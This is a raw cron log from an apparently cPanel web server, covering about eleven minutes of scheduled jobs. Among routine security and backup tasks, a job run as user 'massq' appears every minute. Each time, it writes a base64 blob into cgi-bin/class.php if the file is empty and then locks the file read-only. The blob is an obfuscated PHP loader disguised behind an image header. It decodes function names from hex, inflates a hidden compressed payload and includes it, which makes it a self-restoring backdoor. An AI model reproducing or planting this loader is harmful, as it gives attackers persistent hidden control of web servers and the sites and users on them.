Sep  8 14:04:01 server CROND[3085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:04:01 server CROND[3087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:05:01 server CROND[3474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 14:05:01 server CROND[3477]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:05:01 server CROND[3491]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 14:05:01 server CROND[3492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:05:01 server CROND[3494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:05:01 server CROND[3493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:05:01 server CROND[3498]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 14:05:01 server CROND[3495]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 14:05:01 server CROND[3497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:06:01 server CROND[4324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:06:01 server CROND[4325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:06:01 server CROND[4326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:07:01 server CROND[4687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:07:01 server CROND[4688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:07:01 server CROND[4689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:08:01 server CROND[5179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:08:01 server CROND[5180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:08:01 server CROND[5181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:09:01 server CROND[5558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:09:01 server CROND[5560]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 14:09:01 server CROND[5559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:09:01 server CROND[5561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:10:01 server CROND[5960]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 14:10:01 server CROND[5962]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 14:10:01 server CROND[5973]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 14:10:01 server CROND[5976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:10:01 server CROND[5972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:10:01 server CROND[5977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:10:01 server CROND[5975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:10:01 server CROND[5974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:11:01 server CROND[6939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:11:01 server CROND[6941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:11:01 server CROND[6940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:12:01 server CROND[7350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:12:01 server CROND[7351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:12:01 server CROND[7352]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 14:12:01 server CROND[7353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:13:01 server CROND[7828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:13:01 server CROND[7829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:13:01 server CROND[7830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:14:01 server CROND[8272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:14:01 server CROND[8273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:14:01 server CROND[8271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:15:01 server CROND[8650]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 14:15:01 server CROND[8655]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:15:01 server CROND[8662]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 14:15:01 server CROND[8671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:15:01 server CROND[8668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:15:01 server CROND[8667]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
